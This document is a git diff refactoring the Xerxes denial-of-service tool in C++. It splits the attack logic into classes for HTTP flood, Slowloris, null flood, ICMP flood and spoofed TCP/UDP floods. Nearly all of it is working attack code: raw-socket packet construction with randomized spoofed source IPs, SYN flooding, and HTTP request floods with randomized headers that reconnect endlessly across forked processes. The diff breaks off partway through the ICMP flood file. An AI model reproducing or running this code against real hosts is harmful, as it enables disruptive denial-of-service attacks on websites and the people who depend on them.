diff --git a/Attack_Vector.cpp b/Attack_Vector.cpp new file mode 100644 index 0000000..ed30ef3 --- /dev/null +++ b/Attack_Vector.cpp @@ -0,0 +1,14 @@ +#include "Attack_Vector.hpp" +#include + +Attack_Vector::Attack_Vector(const config *conf, Logger *logger) : conf{conf}, logger{logger}{ + +} + +void Attack_Vector::run() { + for (int x = 0; x < conf->THREADS; x++) { + if(fork()){ + attack(&x); + } + } +} diff --git a/Attack_Vector.hpp b/Attack_Vector.hpp new file mode 100644 index 0000000..c52575a --- /dev/null +++ b/Attack_Vector.hpp @@ -0,0 +1,25 @@ +#ifndef XERXES_ATTACK_VECTOR_H +#define XERXES_ATTACK_VECTOR_H + +#include "Configuration.hpp" +#include "Logger.hpp" + +class Attack_Vector { + friend class Spoofed_Flood; + friend class Http_Flood; + +public: + Attack_Vector() = default; + Attack_Vector(const config *conf, Logger *logger); + virtual void run(); + +protected: + const config *conf; + Logger *logger; + +private: + virtual void attack(const int *id) = 0; +}; + + +#endif //XERXES_ATTACK_VECTOR_H diff --git a/Attack_Vectors.hpp b/Attack_Vectors.hpp new file mode 100644 index 0000000..d1b8795 --- /dev/null +++ b/Attack_Vectors.hpp @@ -0,0 +1,11 @@ +#ifndef XERXES_ATTACK_VECTORS_H +#define XERXES_ATTACK_VECTORS_H + +#include "ICMP_Flood.hpp" +#include "Null_Flood.hpp" +#include "Slowloris.hpp" +#include "Http_Flood.hpp" +#include "Spoofed_TCP_Flood.hpp" +#include "Spoofed_UDP_Flood.hpp" + +#endif //XERXES_ATTACK_VECTORS_H diff --git a/CMakeLists.txt b/CMakeLists.txt index 151669f..8283ed1 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -11,6 +11,6 @@ if( OPENSSL_FOUND ) message(STATUS "Using OpenSSL ${OPENSSL_VERSION}") endif() -add_executable(Xerxes main.cpp Configuration.h Doser.cpp Doser.h Validator.cpp Validator.h Parser.cpp Parser.h Logger.cpp Logger.h) +add_executable(Xerxes main.cpp Configuration.hpp Doser.cpp Doser.hpp Validator.cpp Validator.hpp Parser.cpp Parser.hpp Logger.cpp Logger.hpp ICMP_Flood.cpp ICMP_Flood.hpp Attack_Vectors.hpp Randomizer.hpp Null_Flood.cpp Null_Flood.hpp Slowloris.cpp Slowloris.hpp Http_Flood.cpp Http_Flood.hpp Spoofed_Flood.cpp Spoofed_Flood.hpp Spoofed_TCP_Flood.cpp Spoofed_TCP_Flood.hpp Spoofed_UDP_Flood.cpp Spoofed_UDP_Flood.hpp Attack_Vector.cpp Attack_Vector.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) \ No newline at end of file diff --git a/Configuration.h b/Configuration.hpp similarity index 90% rename from Configuration.h rename to Configuration.hpp index 8ba9651..e100fd9 100644 --- a/Configuration.h +++ b/Configuration.hpp @@ -12,12 +12,13 @@ struct config{ std::string website{}; std::string port{}; std::vector useragents{"Wget/1.16 (linux-gnu/Xerxes)"}; - int THREADS = 0; - int CONNECTIONS = 0; + int THREADS{0}; + int CONNECTIONS{0}; bool GetResponse{false}; bool RandomizeUserAgent{false}; bool RandomizeHeader{false}; bool UseSSL{false}; + int delay{3000}; }; diff --git a/Doser.cpp b/Doser.cpp index 668774c..a0a7b6c 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -1,159 +1,7 @@ -#include -#include -#include -#include -#include -#include #include -#include -#include -#include -#include -#include -#include -#include -#include "Doser.h" - -void Doser::attack(const int *id){ - int x, r; - std::vector sockets; - std::vector packets; - std::vector CTXs; - std::vector SSLs; - if(conf->UseSSL){ - for (x = 0; x < conf->CONNECTIONS; x++) { - SSLs.push_back(nullptr); - CTXs.push_back(nullptr); - } - } - for (x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); - packets.push_back(false); - } - signal(SIGPIPE, &Doser::broke); - while(true) { - static std::string message; - for (x = 0; x < conf->CONNECTIONS; x++) { - if(!sockets[x]){ - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - if(conf->UseSSL){ - CTXs[x] = InitCTX(); - SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); - } - packets[x] = false; - } - if(conf->vector == config::NullTCP | conf->vector == config::NullUDP){ - if(conf->UseSSL){ - r = write_socket(SSLs[x], "\0", 1); - }else{ - r = write_socket(sockets[x], "\0", 1); - } - }else{ - std::string packet = craft_packet(packets[x]); - if(conf->UseSSL){ - r = write_socket(SSLs[x], packet.c_str(), static_cast(packet.length())); - }else{ - r = write_socket(sockets[x], packet.c_str(), static_cast(packet.length())); - } - packets[x] = true; - } - if(conf->GetResponse){ - if(conf->UseSSL){ - read_socket(SSLs[x]); - }else{ - read_socket(sockets[x]); - } - } - if(r == -1){ - if(conf->UseSSL){ - cleanup(SSLs[x], &sockets[x], CTXs[x]); - }else{ - cleanup(&sockets[x]); - } - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); - if(conf->UseSSL){ - CTXs[x] = InitCTX(); - SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); - } - packets[x] = false; - }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - } - } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - if(conf->vector == config::Slowloris){ - usleep(10000000); - }else{ - usleep(30000); - } - - } -} -int Doser::make_socket(const char *host, const char *port) { - struct addrinfo hints{}, *servinfo, *p; - int sock = 0, r; - std::string message = std::string("Connecting-> ") + host + ":" + port; - logger->Log(&message, Logger::Info); - bzero(&hints, sizeof(hints)); - hints.ai_family = AF_UNSPEC; - switch (conf->protocol){ - case config::TCP: - hints.ai_socktype = SOCK_STREAM; - break; - case config::UDP: - hints.ai_socktype = SOCK_DGRAM; - break; - default:break; - } - - if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { - message = std::string("Getaddrinfo-> ") + gai_strerror(r); - logger->Log(&message, Logger::Error); - exit(EXIT_FAILURE); - } - for(p = servinfo; p != nullptr; p = p->ai_next) { - if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { - continue; - } - if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { - close(sock); - continue; - } - break; - } - if(p == nullptr) { - if(servinfo){ - freeaddrinfo(servinfo); - } - logger->Log("No connection could be made", Logger::Error); - exit(EXIT_FAILURE); - } - if(servinfo){ - freeaddrinfo(servinfo); - } - message = std::string("Connected-> ") + host + ":" + port; - logger->Log(&message, Logger::Info); - return sock; -} - -void Doser::broke(int) { - // Pass -} - -std::string Doser::createStr() { - int string_length = randomInt(0, 20) + 1; - std::string string{}; - for(int i = 0; i < string_length; ++i){ - string += (static_cast('0' + randomInt(0, 72))); - } - return string; -} +#include "Doser.hpp" +#include "Attack_Vectors.hpp" void Doser::run() { std::string message = std::string("Attacking ") + conf->website + ":" + conf->port + " with " @@ -202,417 +50,45 @@ void Doser::run() { } logger->Log("Press to stop\n", Logger::Info); usleep(1000000); - for (int x = 0; x < conf->THREADS; x++) { - switch (fork()){ - case 0:break; - default:{ - switch (conf->vector){ - case config::HTTP: - case config::NullUDP: - case config::NullTCP: - case config::TCPFlood: - case config::UDPFlood: - attack(&x); - break; - case config::SpoofedTCP: - spoofed_tcp_flood(&x); - break; - case config::SpoofedUDP: - spoofed_udp_flood(&x); - break; - case config::ICMPFlood: - icmp_flood(&x); - break; - default: - attack(&x); - } - } + switch (conf->vector){ + case config::NullUDP: + case config::NullTCP:{ + Null_Flood flood{conf, logger}; + flood.run(); + break; } - usleep(200000); - } -} - -Doser::Doser(config *conf, Logger *logger) : conf{conf}, logger{logger} { - -} - -std::string Doser::randomizeUserAgent(){ - if(conf->useragents.size() > 1){ - return conf->useragents[randomInt(0, static_cast(conf->useragents.size()))]; - } - return conf->useragents[0]; -} - -void Doser::read_socket(int socket){ - char chunk[128]; - while(read(socket , chunk, 128)){ - bzero(chunk, sizeof(chunk)); - } -} - -void Doser::read_socket(SSL *ssl) { - char chunk[128]; - while(SSL_read(ssl , chunk, 128)){ - bzero(chunk, sizeof(chunk)); - } -} - -int Doser::write_socket(int socket, const char *string, int length){ - return static_cast(write(socket, string, static_cast(length))); -} -int Doser::write_socket(SSL *ssl, const char* string, int length){ - return (SSL_write(ssl, string, length)); -} - -std::string Doser::craft_packet(bool keep_alive){ - std::string packet{}; - shuffle(std::begin(encoding), std::end(encoding), std::mt19937(std::random_device()())); - shuffle(std::begin(caching), std::end(caching), std::mt19937(std::random_device()())); - shuffle(std::begin(charset), std::end(charset), std::mt19937(std::random_device()())); - shuffle(std::begin(contenttype), std::end(contenttype), std::mt19937(std::random_device()())); - shuffle(std::begin(methods), std::end(methods), std::mt19937(std::random_device()())); - shuffle(std::begin(referer), std::end(referer), std::mt19937(std::random_device()())); - switch(conf->vector){ - case config::UDPFlood: case config::TCPFlood: - return createStr(); + case config::UDPFlood: case config::HTTP:{ - packet += methods[0] + " /"; - if(conf->RandomizeHeader){ - packet += createStr(); - } - packet += " HTTP/1.0\r\nUser-Agent: "; - if(conf->RandomizeUserAgent){ - packet += randomizeUserAgent(); - }else{ - packet += conf->useragents[0]; - } - packet += " \r\nCache-Control: " + caching[0] - + " \r\nAccept-Encoding: " + encoding[0] - + " \r\nAccept-Charset: " + charset[0] + ", " + charset[1] - + " \r\nReferer: " + referer[0] - + " \r\nAccept: */*\r\nConnection: Keep-Alive" - + " \r\nContent-Type: " + contenttype[0] - + " \r\nCookie: " + createStr() + "=" + createStr() - + " \r\nKeep-Alive: " + std::to_string(randomInt(1, 5000)) - + " \r\nDNT: " + std::to_string(randomInt(0, 1)) - + "\r\n\r\n"; - return packet; + Http_Flood flood{conf, logger}; + flood.run(); + break; } - case config::Slowloris:{ - if(keep_alive){ - packet += "X-a: " - + std::to_string(randomInt(1, 5000)) - + " \r\n"; - }else{ - packet += methods[0] + " /"; - if(conf->RandomizeHeader){ - packet += createStr(); - } - packet += " HTTP/1.0\r\nUser-Agent: "; - if(conf->RandomizeUserAgent){ - packet += randomizeUserAgent(); - }else{ - packet += conf->useragents[0]; - } - packet += " \r\nCache-Control: " + caching[0] - + " \r\nAccept-Encoding: " + encoding[0] - + " \r\nAccept-Charset: " + charset[0] + ", " + charset[1] - + " \r\nReferer: " + referer[0] - + " \r\nContent-Type: " + contenttype[0] - + " \r\nCookie: " + createStr() + "=" + createStr() - + " \r\nAccept: */*" - + " \r\nDNT: " + std::to_string(randomInt(0, 1)) - + " \r\nX-a: " + std::to_string(randomInt(1, 5000)) - + " \r\n"; - } - return packet; + case config::SpoofedTCP:{ + Spoofed_TCP_Flood flood{conf, logger}; + flood.run(); + break; } - default: - return ""; - } -} - -int Doser::randomInt(int min, int max){ - unsigned seed = static_cast(std::chrono::steady_clock::now().time_since_epoch().count()); - std::default_random_engine engine(seed); - std::uniform_int_distribution distribution(min, max); - return distribution(engine); -} - -SSL_CTX *Doser::InitCTX() { - const SSL_METHOD *method{TLSv1_client_method()}; - SSL_CTX *ctx; - OpenSSL_add_ssl_algorithms(); - SSL_load_error_strings(); - ctx = SSL_CTX_new(method); - if (ctx == nullptr){ - logger->Log("Unable to connect using ssl", Logger::Error); - exit(EXIT_FAILURE); - } - return ctx; -} - -SSL *Doser::Apply_SSL(int socket, SSL_CTX *ctx){ - SSL *ssl = SSL_new(ctx); - SSL_set_fd(ssl, socket); - if(SSL_connect(ssl) == -1){ - logger->Log("Unable to connect using ssl", Logger::Error); - exit(EXIT_FAILURE); - } - return ssl; -} - -void Doser::cleanup(const int *socket) { - close(*socket); -} - -void Doser::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { - SSL_free(ssl); - close(*socket); - SSL_CTX_free(ctx); -} - -void Doser::icmp_flood(const int *id) { - int s, x, on = 1; - char buf[400]; - std::string message{}; - // Structs - auto *ip = (struct ip *)buf; - auto *icmp = (struct icmphdr *)(ip + 1); - struct hostent *hp; - struct sockaddr_in dst{}; - while(true){ - for(x = 0;x < conf->CONNECTIONS; x++){ - bzero(buf, sizeof(buf)); - if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ - logger->Log("socket() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ - logger->Log("setsockopt() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if((hp = gethostbyname(conf->website.c_str())) == nullptr){ - if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ - logger->Log("Can't resolve the host", Logger::Error); - exit(EXIT_FAILURE); - } - }else{ - bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); - } - if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ - logger->Log("Unable to set random src ip", Logger::Error); - exit(EXIT_FAILURE); - } - - // IP Struct - ip->ip_v = 4; - ip->ip_hl = 5; - ip->ip_tos = 0; - ip->ip_len = htons(sizeof(buf)); - ip->ip_id = static_cast(randomInt(1, 1000)); - ip->ip_off = htons(0x0); - ip->ip_ttl = 255; - ip->ip_p = 1; - ip->ip_sum = 0; - - dst.sin_addr = ip->ip_dst; - dst.sin_family = AF_UNSPEC; - - icmp->type = ICMP_ECHO; - icmp->code = static_cast(randomInt(1, 1000)); - icmp->checksum = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); - if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){ - logger->Log("sendto() error", Logger::Error); - exit(EXIT_FAILURE); - } - close(s); + case config::SpoofedUDP:{ + Spoofed_UDP_Flood flood{conf, logger}; + flood.run(); + break; } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - usleep(30000); - } - -} - -const char *Doser::randomizeIP() { - std::string src{std::to_string(randomInt(1, 256))}; - src += "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)) - + "." - + std::to_string(randomInt(1, 256)); - return src.c_str(); -} - -void Doser::spoofed_tcp_flood(const int *id) { - int s, on = 1, x; - std::string message{}; - char buf[8192]; - auto *ip = (struct ip *)buf; - auto *tcp = (struct tcphdr *)(ip + 1); - struct hostent *hp; - struct sockaddr_in dst{}; - auto s_port = randomInt(0, 65535); - while (true){ - for(x = 0; x < conf->CONNECTIONS; x++){ - bzero(buf, sizeof(buf)); - if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ - logger->Log("socket() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ - logger->Log("setsockopt() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if((hp = gethostbyname(conf->website.c_str())) == nullptr){ - if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ - logger->Log("Can't resolve the host", Logger::Error); - exit(EXIT_FAILURE); - } - }else{ - bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); - } - if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ - logger->Log("Unable to set random src ip", Logger::Error); - exit(EXIT_FAILURE); - } - - // IP Struct - ip->ip_hl = 5; - ip->ip_v = 4; - ip->ip_tos = 16; - ip->ip_len = htons(sizeof(buf)); - ip->ip_id = static_cast(randomInt(1, 1000)); - ip->ip_off = htons(0x0); - ip->ip_ttl = 64; - ip->ip_p = 6; - ip->ip_sum = 0; - - dst.sin_addr = ip->ip_dst; - dst.sin_family = AF_UNSPEC; - - // TCP Struct - tcp->source = htons(static_cast(s_port)); - tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - tcp->seq = htonl(1); - tcp->ack = 0; - tcp->doff = 5; - tcp->syn = 1; - tcp->ack_seq = 0; - tcp->window = htons(32767); - tcp->check = 0; - tcp->urg_ptr = 0; - tcp->check = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct tcphdr)))); - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ - logger->Log("setsockopt() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if(sendto(s, buf, ip->ip_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)) < 0){ - logger->Log("sendto() error", Logger::Error); - exit(EXIT_FAILURE); - } - close(s); + case config::Slowloris:{ + Slowloris flood{conf, logger}; + flood.run(); + break; } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - usleep(30000); - } - -} - -void Doser::spoofed_udp_flood(const int *id) { - int s, on = 1, x; - std::string message{}; - char buf[8192]; - auto *ip = (struct ip *)buf; - auto *udp = (struct udphdr *)(ip + 1); - struct hostent *hp; - struct sockaddr_in dst{}; - auto s_port = randomInt(0, 65535); - while (true){ - for(x = 0; x < conf->CONNECTIONS; x++){ - bzero(buf, sizeof(buf)); - if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ - logger->Log("socket() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ - logger->Log("setsockopt() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if((hp = gethostbyname(conf->website.c_str())) == nullptr){ - if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ - logger->Log("Can't resolve the host", Logger::Error); - exit(EXIT_FAILURE); - } - }else{ - bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); - } - if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ - logger->Log("Unable to set random src ip", Logger::Error); - exit(EXIT_FAILURE); - } - - // IP Struct - ip->ip_hl = 5; - ip->ip_v = 4; - ip->ip_tos = 16; - ip->ip_len = htons(sizeof(buf)); - ip->ip_id = static_cast(randomInt(1, 1000)); - ip->ip_ttl = 64; - ip->ip_p = 17; - ip->ip_off = htons(0x0); - ip->ip_sum = 0; - - dst.sin_addr = ip->ip_dst; - dst.sin_family = AF_UNSPEC; - - // UDP Struct - udp->source = htons(static_cast(s_port)); - udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - udp->len = htons(sizeof(struct udphdr)); - udp->check = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct udphdr)))); - - if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ - logger->Log("setsockopt() error", Logger::Error); - exit(EXIT_FAILURE); - } - - if(sendto(s, buf, ip->ip_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)) < 0){ - logger->Log("sendto() error", Logger::Error); - exit(EXIT_FAILURE); - } - close(s); + case config::ICMPFlood:{ + ICMP_Flood flood{conf, logger}; + flood.run(); + break; } - message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); - usleep(30000); + default:break; } } -unsigned short Doser::checksum(unsigned short *buf, int len){ - - unsigned long sum; - - for(sum=0; len>0; len--){ - sum += *buf++; - } - - sum = (sum >> 16) + (sum &0xffff); - - sum += (sum >> 16); - - return (unsigned short)(~sum); +Doser::Doser(config *conf, Logger *logger) : conf{conf}, logger{logger} { -} +} \ No newline at end of file diff --git a/Doser.h b/Doser.h deleted file mode 100644 index 527ed09..0000000 --- a/Doser.h +++ /dev/null @@ -1,51 +0,0 @@ -#ifndef XERXES_DOSER_H -#define XERXES_DOSER_H - - -#include -#include -#include -#include "Configuration.h" -#include "Logger.h" - -class Doser { -public: - Doser(config *conf, Logger *logger); - void run(); - -private: - int make_socket(const char *host, const char *port); - void read_socket(int socket); - void read_socket(SSL *ssl); - int write_socket(int socket, const char* string, int length); - int write_socket(SSL *ssl, const char* string, int length); - std::string craft_packet(bool keep_alive=false); - static void broke(int); - std::string createStr(); - int randomInt(int min, int max); - void attack(const int *id); - void icmp_flood(const int *id); - void spoofed_tcp_flood(const int *id); - void spoofed_udp_flood(const int *id); - unsigned short checksum(unsigned short *buf, int len); - const char *randomizeIP(); - std::string randomizeUserAgent(); - SSL_CTX* InitCTX(); - SSL *Apply_SSL(int socket, SSL_CTX *ctx); - void cleanup(const int *socket); - void cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx); - config *conf; - Logger *logger; - std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; - std::vector caching{"no-cache", "max-age=0"}; - std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; - std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; - std::vector methods{"GET", "POST", "HEAD"}; - std::vector referer{"https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/", - "https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/", - "https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"}; - -}; - - -#endif //XERXES_DOSER_H diff --git a/Doser.hpp b/Doser.hpp new file mode 100644 index 0000000..ebf9e14 --- /dev/null +++ b/Doser.hpp @@ -0,0 +1,23 @@ +#ifndef XERXES_DOSER_H +#define XERXES_DOSER_H + + +#include +#include +#include +#include "Configuration.hpp" +#include "Logger.hpp" + +class Doser { +public: + Doser(config *conf, Logger *logger); + void run(); + +private: + config *conf; + Logger *logger; + +}; + + +#endif //XERXES_DOSER_H diff --git a/Http_Flood.cpp b/Http_Flood.cpp new file mode 100644 index 0000000..55cf1c8 --- /dev/null +++ b/Http_Flood.cpp @@ -0,0 +1,200 @@ +#include +#include +#include +#include +#include +#include + +#include "Http_Flood.hpp" + + +Http_Flood::Http_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){ + +} + +void Http_Flood::run() { + for (int x = 0; x < conf->THREADS; x++) { + if(fork()){ + if(conf->UseSSL){ + attack_ssl(&x); + }else{ + attack(&x); + } + } + } + +} + +int Http_Flood::make_socket(const char *host, const char *port) { + struct addrinfo hints{}, *servinfo, *p; + int sock = 0, r; + std::string message = std::string("Connecting-> ") + host + ":" + port; + logger->Log(&message, Logger::Info); + bzero(&hints, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM; + if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { + message = std::string("Getaddrinfo-> ") + gai_strerror(r); + logger->Log(&message, Logger::Error); + exit(EXIT_FAILURE); + } + for(p = servinfo; p != nullptr; p = p->ai_next) { + if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) { + continue; + } + if(connect(sock, p->ai_addr, p->ai_addrlen) < 0) { + close(sock); + continue; + } + break; + } + if(p == nullptr) { + if(servinfo){ + freeaddrinfo(servinfo); + } + logger->Log("No connection could be made", Logger::Error); + exit(EXIT_FAILURE); + } + if(servinfo){ + freeaddrinfo(servinfo); + } + message = std::string("Connected-> ") + host + ":" + port; + logger->Log(&message, Logger::Info); + return sock; +} + +void Http_Flood::broke(int) { + // pass +} + +SSL_CTX *Http_Flood::InitCTX() { + const SSL_METHOD *method{TLSv1_client_method()}; + SSL_CTX *ctx; + OpenSSL_add_ssl_algorithms(); + SSL_load_error_strings(); + ctx = SSL_CTX_new(method); + if (ctx == nullptr){ + logger->Log("Unable to connect using ssl", Logger::Error); + exit(EXIT_FAILURE); + } + return ctx; +} + +SSL *Http_Flood::Apply_SSL(int socket, SSL_CTX *ctx) { + SSL *ssl = SSL_new(ctx); + SSL_set_fd(ssl, socket); + if(SSL_connect(ssl) == -1){ + logger->Log("Unable to connect using ssl", Logger::Error); + exit(EXIT_FAILURE); + } + return ssl; +} + +void Http_Flood::cleanup(const int *socket) { + close(*socket); +} + +void Http_Flood::cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx) { + SSL_free(ssl); + close(*socket); + SSL_CTX_free(ctx); +} + +void Http_Flood::read_socket(int socket) { + char chunk[128]; + while(read(socket , chunk, 128)){ + bzero(chunk, sizeof(chunk)); + } +} + +void Http_Flood::read_socket(SSL *ssl) { + char chunk[128]; + while(SSL_read(ssl , chunk, 128)){ + bzero(chunk, sizeof(chunk)); + } +} + +int Http_Flood::write_socket(int socket, const char *string, int length) { + return static_cast(write(socket, string, static_cast(length))); +} + +int Http_Flood::write_socket(SSL *ssl, const char *string, int length) { + return (SSL_write(ssl, string, length)); +} + +void Http_Flood::attack(const int *id) { + int r; + std::vector sockets; + for (int x = 0; x < conf->CONNECTIONS; x++) { + sockets.push_back(0); + } + signal(SIGPIPE, &Http_Flood::broke); + while(true) { + static std::string message; + for (int x = 0; x < conf->CONNECTIONS; x++) { + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + } + const char *packet = Randomizer::randomPacket(conf); + if((r = write_socket(sockets[x], packet, static_cast(strlen(packet)))) < 0){ + cleanup(&sockets[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + }else{ + if(conf->GetResponse){ + read_socket(sockets[x]); + } + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } + } +} + +void Http_Flood::attack_ssl(const int *id) { + int r; + std::vector sockets; + std::vector CTXs; + std::vector SSLs; + for (int x = 0; x < conf->CONNECTIONS; x++) { + sockets.push_back(0); + SSLs.push_back(nullptr); + CTXs.push_back(nullptr); + } + signal(SIGPIPE, &Http_Flood::broke); + while(true) { + static std::string message; + for (int x = 0; x < conf->CONNECTIONS; x++) { + if(!sockets[x]){ + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + } + const char *packet = Randomizer::randomPacket(conf); + if((r = write_socket(SSLs[x], packet, static_cast(strlen(packet)))) < 0){ + cleanup(SSLs[x], &sockets[x], CTXs[x]); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str()); + CTXs[x] = InitCTX(); + SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); + }else{ + if(conf->GetResponse){ + read_socket(SSLs[x]); + } + message = std::string("Socket[") + std::to_string(x) + "->" + + std::to_string(sockets[x]) + "] -> " + std::to_string(r); + logger->Log(&message, Logger::Info); + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + } + message = std::to_string(*id) + ": Voly Sent"; + logger->Log(&message, Logger::Info); + usleep(static_cast<__useconds_t>(conf->delay)); + } + } +} + diff --git a/Http_Flood.hpp b/Http_Flood.hpp new file mode 100644 index 0000000..40e31c9 --- /dev/null +++ b/Http_Flood.hpp @@ -0,0 +1,33 @@ +#ifndef XERXES_HTTP_FLOOD_H +#define XERXES_HTTP_FLOOD_H + +#include "Configuration.hpp" +#include "Logger.hpp" +#include "Randomizer.hpp" +#include "Attack_Vector.hpp" + +class Http_Flood : public Attack_Vector { + friend class Slowloris; + friend class Null_Flood; +public: + Http_Flood () = default; + Http_Flood (const config *conf, Logger *logger); + void run() override; + +private: + void attack(const int *id) override; + virtual void attack_ssl(const int *id); + virtual int make_socket(const char *host, const char *port); + static void broke(int); + SSL_CTX* InitCTX(); + SSL *Apply_SSL(int socket, SSL_CTX *ctx); + void cleanup(const int *socket); + void cleanup(SSL *ssl, const int *socket, SSL_CTX *ctx); + void read_socket(int socket); + void read_socket(SSL *ssl); + int write_socket(int socket, const char* string, int length); + int write_socket(SSL *ssl, const char* string, int length); +}; + + +#endif //XERXES_HTTP_FLOOD_H diff --git a/ICMP_Flood.cpp b/ICMP_Flood.cpp new file mode 100644 index 0000000..9d2d2e9 --- /dev/null +++ b/ICMP_Flood.cpp @@ -0,0 +1,77 @@ +#include +#include +#include +#include +#include +#include + +#include "ICMP_Flood.hpp" +#include "Randomizer.hpp" + +void ICMP_Flood::attack(const int *id) { + int s, x, on = 1; + char buf[400]; + std::string message{}; + // Structs + auto *ip = (struct ip *)buf; + auto *icmp = (struct icmphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; + while(true){ + for(x = 0;x < conf->CONNECTIONS; x++){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ + logger->Log("socket() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + } + if((ip->ip_src.s_addr = inet_addr(Randomizer::randomIP())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); + exit(EXIT_FAILURE); + } + + // IP Struct + ip->ip_v = 4; + ip->ip_hl = 5; + ip->ip_tos = 0; + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = static_cast(Randomizer::randomInt(1, 1000)); + ip->ip_off = htons(0x0); + ip->ip_ttl = 255; + ip->ip_p = 1; + ip->ip_sum = 0; + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_UNSPEC; 